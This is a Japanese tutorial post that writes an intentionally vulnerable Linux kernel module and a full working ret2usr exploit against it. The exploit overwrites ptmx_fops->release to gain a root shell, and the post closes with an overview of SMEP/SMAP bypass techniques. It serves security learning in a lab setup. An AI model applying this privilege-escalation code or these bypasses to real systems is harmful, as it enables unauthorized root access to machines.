Linuxカーネルモジュールでret2usrによる権限昇格をやってみる
Linuxカーネルモジュールにおける任意アドレス書き換え(Arbitrary address write)の脆弱性を利用し、ret2usr(Return-to-user)と呼ばれる手法によるroot権限への権限昇格をやってみる。
環境
Ubuntu 14.04.1 LTS 64bit版、Intel SMEP無効
$ uname -a Linux vm-ubuntu64 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ cat /proc/cpuinfo | grep flags flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant_tsc rep_good nopl pni monitor ssse3 lahf_lm
Intel SMEPが有効かどうかは、/proc/cpuinfo
のflagsにsmep
があるかないかで確認できる。
脆弱性のあるカーネルモジュールを書いてみる
任意アドレス書き換え(Arbitrary address write)は、不正な配列インデックスによる範囲外参照を用いた既存のポインタアドレスの書き換えやFormat string atatckなどにより、任意のアドレスにある値を書き換えることを指す。
ここでは、話を簡単にするために意図的に任意アドレス書き換えを可能にしたカーネルモジュールを作成することにする。 「無条件で権限昇格するLinuxカーネルモジュールを書いてみる」と同じようにして、プログラムコードを書くと次のようになる。
/* mychardev.c */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/fs.h> #include "mychardev.h" #define DEVICE_NAME "mychardev" static int device_open(struct inode *inode, struct file *file) { try_module_get(THIS_MODULE); return 0; } static int device_release(struct inode *inode, struct file *file) { module_put(THIS_MODULE); return 0; } static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset) { return -EINVAL; } static ssize_t device_write(struct file *filp, const char *buffer, size_t length, loff_t * offset) { return -EINVAL; } long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param) { struct ioctl_aaw_arg *arg; switch (ioctl_num) { case IOCTL_AAW: arg = (struct ioctl_aaw_arg *)ioctl_param; *(arg->ptr) = arg->value; return 0; } return -EINVAL; } static struct file_operations fops = { .open = device_open, .release = device_release, .read = device_read, .write = device_write, .unlocked_ioctl = device_ioctl, }; int init_module(void) { int ret_val; ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &fops); if (ret_val < 0) { printk(KERN_ALERT "Registering char device failed with %d\n", ret_val); return ret_val; } printk(KERN_INFO "try 'sudo mknod %s c %d 0'\n", DEVICE_FILE_NAME, MAJOR_NUM); return 0; } void cleanup_module(void) { unregister_chrdev(MAJOR_NUM, DEVICE_NAME); }
/* mychardev.h */ #ifndef MYCHARDEV_H #define MYCHARDEV_H #include <linux/ioctl.h> #define MAJOR_NUM 200 #define DEVICE_FILE_NAME "mychardev" #define IOCTL_AAW _IOR(MAJOR_NUM, 0, struct ioctl_aaw_arg *) struct ioctl_aaw_arg { unsigned long *ptr; unsigned long value; }; #endif
# Makefile obj-m += mychardev.o all: [TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: [TAB]make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
上のコードでは、ioctl(2)でIOCTL_AAW
を呼ぶと、引数に与えたioctl_aaw_arg
構造体で指定したアドレスを指定した値に書き換える。
カーネルモジュールをコンパイル、インストールし、インストールされていることを確認してみる。
$ make make -C /lib/modules/3.13.0-44-generic/build M=/home/user/tmp/mychardev modules make[1]: Entering directory `/usr/src/linux-headers-3.13.0-44-generic' CC [M] /home/user/tmp/mychardev/mychardev.o Building modules, stage 2. MODPOST 1 modules CC /home/user/tmp/mychardev/mychardev.mod.o LD [M] /home/user/tmp/mychardev/mychardev.ko make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-44-generic' $ sudo insmod mychardev.ko $ lsmod Module Size Used by mychardev 12640 0
上の結果から、コンパイルに成功しインストールできていることがわかる。
次に、コード中で出力するようにしておいたカーネルメッセージに従い、キャラクタデバイスを作成する。
$ dmesg | tail [ 16.032412] IPv6: ADDRCONF(NETDEV_UP): docker0: link is not ready [ 16.071709] nf_conntrack version 0.5.0 (3919 buckets, 15676 max) [ 16.544252] audit_printk_skb: 66 callbacks suppressed [ 16.544255] type=1400 audit(1426919178.397:34): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="docker-default" pid=1489 comm="apparmor_parser" [ 24.507117] cgroup: systemd-logind (1046) created nested cgroup for controller "memory" which has incomplete hierarchy support. Nested cgroups may change behavior in the future. [ 24.507126] cgroup: "memory" requires setting use_hierarchy to 1 on the root. [ 36.972584] mychardev: module license 'unspecified' taints kernel. [ 36.972590] Disabling lock debugging due to kernel taint [ 36.972622] mychardev: module verification failed: signature and/or required key missing - tainting kernel [ 36.974743] try 'sudo mknod mychardev c 200 0' $ sudo mknod mychardev c 200 0 $ ls -l mychardev crw-r--r-- 1 root root 200, 0 Mar 21 15:26 mychardev
カーネルシンボルのアドレスを確認してみる
「無条件で権限昇格するLinuxカーネルモジュールを書いてみる」ではカーネルモジュール内にてcommit_creds(prepare_kernel_cred(NULL))
を実行したが、ユーザモードのプログラム内でこれを行う場合、事前に二つの関数(シンボル)のアドレスを調べておく必要がある。
カーネル空間におけるシンボル情報は/proc/kallsyms
からすべて見ることができるようになっているが、最近のLinuxカーネルではKernel Address Display Restrictionと呼ばれるセキュリティ機構が有効になっており、アドレスがすべて0で隠されるようになっている。
$ cat /proc/kallsyms | grep _cred 0000000000000000 T kill_pid_info_as_cred 0000000000000000 T override_creds 0000000000000000 t put_cred_rcu 0000000000000000 T __put_cred 0000000000000000 T abort_creds 0000000000000000 T prepare_creds 0000000000000000 T revert_creds 0000000000000000 T commit_creds 0000000000000000 T exit_creds 0000000000000000 T get_task_cred 0000000000000000 T prepare_kernel_cred 0000000000000000 T prepare_exec_creds (snip)
そこで、ここでは意図的にKernel Address Display Restrictionを無効にした上でシンボルアドレスの解決を行うこととする。 Kernel Address Display Restrictionを無効にするには、sysctlコマンドを使って次のようにする。
$ sudo sysctl -w kernel.kptr_restrict=0 kernel.kptr_restrict = 0
再度/proc/kallsyms
を確認すると、シンボルのアドレスが表示されていることが確認できる。
$ cat /proc/kallsyms | grep _cred ffffffff81079470 T kill_pid_info_as_cred ffffffff810906d0 T override_creds ffffffff81090710 t put_cred_rcu ffffffff81090860 T __put_cred ffffffff810908b0 T abort_creds ffffffff810908e0 T prepare_creds ffffffff81090aa0 T revert_creds ffffffff81090ae0 T commit_creds ffffffff81090d20 T exit_creds ffffffff81090d90 T get_task_cred ffffffff81090de0 T prepare_kernel_cred ffffffff81090f70 T prepare_exec_creds ffffffff81090fb0 T copy_creds (snip)
エクスプロイトコードを書いてみる
ユーザモードのプログラムから権限昇格を行うには、上で調べたカーネル関数のアドレス情報をもとに権限昇格を行う関数を作成し、カーネル空間内のポインタ書き換えによりこの関数をカーネルモードで実行させればよい。 この手法は一般にret2usr(Return-to-user)と呼ばれる。
先にエクスプロイトコードを示すと、次のようになる。
/* ioctl.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "mychardev.h" void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; unsigned long *ptmx_fops_release; void *ksym_addr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { goto close; } } addr = NULL; close: fclose(fp); return addr; } void get_root() { commit_creds(prepare_kernel_cred(NULL)); *ptmx_fops_release = 0; } int main() { int fd; int ret_val; void *ptmx_fops; struct ioctl_aaw_arg arg; /* find the kernel addresses */ prepare_kernel_cred = ksym_addr("prepare_kernel_cred"); commit_creds = ksym_addr("commit_creds"); printf("[+] prepare_kernel_cred = %p\n", prepare_kernel_cred); printf("[+] commit_creds = %p\n", commit_creds); if (!prepare_kernel_cred || !commit_creds) { puts("[!] failed to resolve kernel symbol address"); exit(1); } /* find the kernel pointer to be overwritten */ ptmx_fops = ksym_addr("ptmx_fops"); printf("[+] ptmx_fops = %p\n", ptmx_fops); ptmx_fops_release = ptmx_fops + sizeof(void *) * 13; /* open the vulnerable device and send ioctl */ fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); exit(1); } arg.ptr = ptmx_fops_release; arg.value = (unsigned long)get_root; ret_val = ioctl(fd, IOCTL_AAW, &arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); exit(1); } close(fd); /* open /dev/ptmx and call ptmx_fops->release() via close() */ fd = open("/dev/ptmx", 0); close(fd); printf("[+] getuid() = %d\n", getuid()); execl("/bin/sh", "sh", NULL); }
上のコードにおいて、ksym_addr()
は/proc/kallsyms
から引数で指定したシンボルに対応するアドレスを返す関数、get_root()
はカーネルモードで実行させる関数である。
書き換えの対象とするカーネル空間のポインタとして、ここではptmx_fops->release()
を利用している。
ptmx_fops
はカーネル空間におけるstatic変数として存在しており、/dev/ptmx
に対するfile_operations構造体を指すポインタが入っている。
file_operations構造体にはファイルディスクリプタに対してread/writeなどの操作を行ったとき実行される関数ポインタが入っており、その定義は次のようになっている。
1521 struct file_operations { 1522 struct module *owner; 1523 loff_t (*llseek) (struct file *, loff_t, int); 1524 ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); 1525 ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); 1526 ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); 1527 ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); 1528 int (*iterate) (struct file *, struct dir_context *); 1529 unsigned int (*poll) (struct file *, struct poll_table_struct *); 1530 long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); 1531 long (*compat_ioctl) (struct file *, unsigned int, unsigned long); 1532 int (*mmap) (struct file *, struct vm_area_struct *); 1533 int (*open) (struct inode *, struct file *); 1534 int (*flush) (struct file *, fl_owner_t id); 1535 int (*release) (struct inode *, struct file *); 1536 int (*fsync) (struct file *, loff_t, loff_t, int datasync); 1537 int (*aio_fsync) (struct kiocb *, int datasync); 1538 int (*fasync) (int, struct file *, int); 1539 int (*lock) (struct file *, int, struct file_lock *); 1540 ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); 1541 unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); 1542 int (*check_flags)(int); 1543 int (*flock) (struct file *, int, struct file_lock *); 1544 ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); 1545 ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); 1546 int (*setlease)(struct file *, long, struct file_lock **); 1547 long (*fallocate)(struct file *file, int mode, loff_t offset, 1548 loff_t len); 1549 int (*show_fdinfo)(struct seq_file *m, struct file *f); 1550 };
これらの関数ポインタはカーネルモードにて参照されるため、適当なものを書き換えることで任意の関数をカーネルモードで実行させることができる。
ここでは、比較的書き換えによる影響が小さいものとして、close()
が行われた際に参照されるreleaseメンバを書き換える。
また、get_root()
内でこのメンバが指すアドレスを0(NULL)に再度書き換え、カーネル空間を共有する他のプロセスがクラッシュしないようにする。
以上をもとに、エクスプロイトコードの内容を説明すると次のようになる。
/proc/kallsyms
からprepare_kernel_cred()
などカーネル内関数のアドレスを取得する/proc/kallsyms
からptmx_fops
のアドレスを取得し、書き換え対象となるreleaseメンバのアドレスを計算する- カーネルモジュールの脆弱性を利用し、
ptmx_fops->release = &get_root
となるように書き換える /dev/ptmx
を開きclose()
を呼ぶことで、カーネルモードにてptmx_fops->release()
を実行させる- カーネルモードにて
get_root()
が実行され、権限昇格が行われた後ptmx_fops->release
がNULLに書き換えられる close()
の後、root権限にてシェルを起動する
実際に実行してみると次のようになる。
$ gcc ioctl.c $ ./a.out [+] prepare_kernel_cred = 0xffffffff81090de0 [+] commit_creds = 0xffffffff81090ae0 [+] ptmx_fops = 0xffffffff81fc4ea0 [+] getuid() = 0 # id uid=0(root) gid=0(root) groups=0(root) #
root権限にてシェルが起動できていることが確認できた。
カーネルモジュールをアンインストールする
$ sudo rmmod mychardev.ko
Kernel Address Display Restrictionに関する補足
ここではKernel Address Display Restrictionを無効にしてシンボルアドレスの解決を行った。 しかし、シンボルアドレスはカーネルのバージョンごとに一定であるため、有効な場合でもカーネルのバージョンが特定できれば別途調べておいたアドレスを使うことが可能である。
また、/proc/kallsyms
の他、/boot/System.map-*
、/boot/vmlinuz-*
からもシンボルアドレスの解決を試みるプログラムコードとしてksymhunter.cがある。
Intel SMEPと回避手法
Intel SMEP(Supervisor Mode Execution Protection)は、Intel Coreプロセッサの第3世代(Ivy Bridge)以降に搭載されているセキュリティ機構であり、Intel OS Guardとも呼ばれる(参考)。
この機構の有無は/proc/cpuinfo
を表示した際のflagsにsmep
があるかないかで確認でき、有効の場合はカーネルモードにおいてユーザ空間アドレスにあるコードの実行が禁止される。
すなわち、上のエクスプロイトコードにおいてはカーネルモードでユーザ空間にあるget_root()
を実行しようとした際に落ちるようになる。
また、実行中はコントロールレジスタCR4の20bit目がSMEPの有効/無効を表す。
SMEPを回避する手法としては主に次の二つが知られている。
- カーネル空間でのROPにてCR4レジスタの20bit目を書き換える
- SMEP: What is It, and How to Beat It on Linux - It's Bugs All the Way Down
- SMEP: What is it, and how to beat it on Windows | j00ru//vx tech blog
- Positive Research Center: Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming
- Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation) | Bromium Labs
- カーネルスタックにあるthread_info構造体のaddr_limitを書き換える(Stackjacking)
他にも、以下のような手法が公表されている。
- カーネル空間でJIT sprayを行う
- main is usually a function: Attacking hardened Linux systems with kernel JIT spraying
- BPF JITが有効である必要がある(
sysctl -w net.core.bpf_jit_enable=1
)
- physmap(direct-mapped RAM)を利用する(ret2dir; Return-to-direct-mapped memory)
- ret2dir: Rethinking Kernel Isolation (USENIX Security 2014)
- x86の全バージョンおよびx86-64のLinux kernel 3.9以降ではphysmapが実行不可となっている
- メモリのページテーブルエントリを書き換える(Windows)
また、関連するセキュリティ機構として、Intel Coreプロセッサの第5世代(Broadwell)に搭載されているSMAP(Supervisor Mode Access Protection)がある(参考)。 これはカーネルモードにおいてユーザ空間アドレスへのアクセスを禁止するものであり、CR4レジスタの21bit目に対応する。
- Supervisor mode access prevention [LWN.net]
- x86 の新しいメモリ保護機能 Supervisor Mode Access Prevention(SMAP) - 教育は参考資料
- grsecurity forums • View topic - Supervisor Mode Access Prevention
なお、Linuxのセキュリティ強化パッチであるPaXでは、SMAP相当の機能がUserland/kernel separation(UDEREF)として実装されている。
関連リンク
- CSAW CTF 2013 Kernel Exploitation Challenge | Michael Coppola's Blog
- Include Security Blog | As the ROT13 turns….: How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038
- jon.oberheide.org - blog - csaw ctf 2010 kernel exploitation challenge
- jon.oberheide.org - blog - csaw ctf 2011 kernel exploitation challenge
- Eindbazen » pCTF 2013 – servr (web 400)
- Julius Plenz - Blog - Privilege Escalation Kernel Exploit